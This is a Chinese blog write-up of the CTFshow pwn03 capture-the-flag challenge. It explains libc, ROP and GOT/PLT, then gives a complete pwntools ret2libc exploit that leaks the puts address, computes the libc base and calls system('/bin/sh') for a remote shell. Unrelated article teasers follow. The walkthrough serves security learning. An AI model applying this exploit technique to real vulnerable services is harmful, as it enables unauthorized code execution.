CTFshow pwn03

news/2024/11/8 0:32:21/

题目:
在这里插入图片描述在做本道题前,我们先了解所必要的知识

Libc是什么?

英文名字:Standard C library,其翻译过来,C语言标准库
它是符合ANSI C标准的一个函数库
学过C语言会明白

ANSI C标准又是什么?

1983年,美国国家标准协会(ANSI)组成了一个委员会,X3J11,为了创立 C 的一套标准
1989年完成,这个版本的语言经常被称作ANSI C,或有时称为C89(为了区别C99)
在1990年,ANSI C标准(带有一些小改动)被美国国家标准协会(ANSI)采纳为ISO/IEC 9899:1990
这个版本有时候称为C90或者ISO C

API是什么?

API 是允许两个软件组件使用一组定义和协议相互通信的机制,什么意思呢?
举个例子假如我坐滴滴
我需要用API去申请服务,告诉API将我从哪里,到哪里这些条件说清楚
滴滴再根据API反馈给我
同时
API 代表应用程序编程接口
在 API 环境中,应用程序一词指的是任何具有独特功能的软件。接口可以看作是两个应用程序之间的服务合约
该合约定义了两者如何使用请求和响应相互通信
它们的 API 文档包括与开发人员如何构建这些请求和响应有关的信息

ROP是什么?

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击
攻击者从已有的库或可执行文件中提取指令片段
构建恶意代码

GCC是什么?

GCC是以GPL许可证所发行的自由软件,也是GNU计划的关键部分
GCC的初衷是为GNU操作系统专门编写一款编译器
现已被大多数类Unix操作系统(如Linux、BSD、MacOS X等)采纳为标准的编译器
甚至在微软的Windows上也可以使用GCC
GCC支持多种计算机体系结构芯片,如x86、ARM、MIPS等
并已被移植到其他多种硬件平台
GCC原名为GNU C语言编译器(GNU C Compiler),只能处理C语言
但其很快扩展,变得可处理C++,后来又扩展为能够支持更多编程语言
如Fortran、Pascal、Objective -C、Java、Ada、Go以及各类处理器架构上的汇编语言等
所以改名GNU编译器套件(GNU Compiler Collection)

GOT表和PLT表

程序还未执行时,got表里还是plt表的地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址

跟pwn02差不多,唯一多的就是了解libc函数
和上面的图中所给出靶场不同
我开了一个
看脚本吧

from pwn import*
from LibcSearcher import*
elf=ELF('./stack1')
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28105)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

在这里插入图片描述值得注意的是你的文件放的位置很重要!


http://www.ppmy.cn/news/67965.html

相关文章

linux常见指令以及权限理解

1.linux下基本指令: ls指令: 查看文件的属性 ls-l:文件的属性 ls-la:显示所有文件的属性 ls *: linux任何一个目录下面都有两个隐藏文件: ..:表示当前路径的上级路径,可以原路返回 .&…

Red Hat Enterprise Linux (RHEL) 9.2 (x86_64, aarch64) - 红帽企业 Linux 9.2 发布

Red Hat Enterprise Linux (RHEL) 9.2 (x86_64, aarch64) 红帽企业 Linux 9.2 请访问原文链接:https://sysin.org/blog/rhel-9/,查看最新版。原创作品,转载请保留出处。 作者主页:sysin.org 红帽企业 Linux 9 红帽企业 Linux 9.…

【学习笔记】CF627E Orchestra

感觉最近似乎做不出什么题。 耐人寻味的数据范围。熟悉的问题。但是要 结合数据范围 自己编一个做法出来还挺难的。 我太菜了啊 我尝试去感知这道题目。对于二维坐标的限制无疑是困难的,不妨考虑当固定上下边界时,每一列点的数目为定值,那…

Flink从入门到精通之-09状态编程

Flink从入门到精通之-09状态编程 Flink 处理机制的核心,就是“有状态的流式计算”。我们在之前的章节中也已经多次提到了“状态”(state),不论是简单聚合、窗口聚合,还是处理函数的应用,都会有状态的身影出…

Java 版企业工程项目管理系统平台(三控:进度组织、质量安全、预算资金成本、二平台:招采、设计管理)

工程项目管理软件(工程项目管理系统)对建设工程项目管理组织建设、项目策划决策、规划设计、施工建设到竣工交付、总结评估、运维运营,全过程、全方位的对项目进行综合管理 工程项目各模块及其功能点清单 一、系统管理 1、数据字典&#…

项目中遇见的问题(难点)(大文件上传,权限控制,项目管理问题,webpack打包后执行流程)

大文件上传? 前端大文件上传的思路通常是将大文件分割成多个小文件,然后分别上传这些小文件,最终在 服务器端将这些小文件重新组合成完整的大文件。以下是具体的实现思路: 将大文件分割成多个小文件:可以使用File API中的slice()…

首个支持RWA交易的订单簿DEX-PoseiSwap,即将开启IEO

随着 DeFi 世界的发展,越来越多的链上协议支持以合成资产的方式,将传统金融资产以加密资产的形式映射至链上,包括美股、黄金期货等等,虽然这种方式进一步帮助投资者,以非许可的形式丰富了投资标的,但这种方…

如何提升性能测试效能

上周六应邀在天津devops峰会的质量内建专场做了一次分享,主题是《稳定性保障利器:全链路压测》。 其中关于全链路压测对质量内建的意义,我做了一个总结,如下图所示。本文基于下图做了展开描述,仅供参考。 如何理解性能…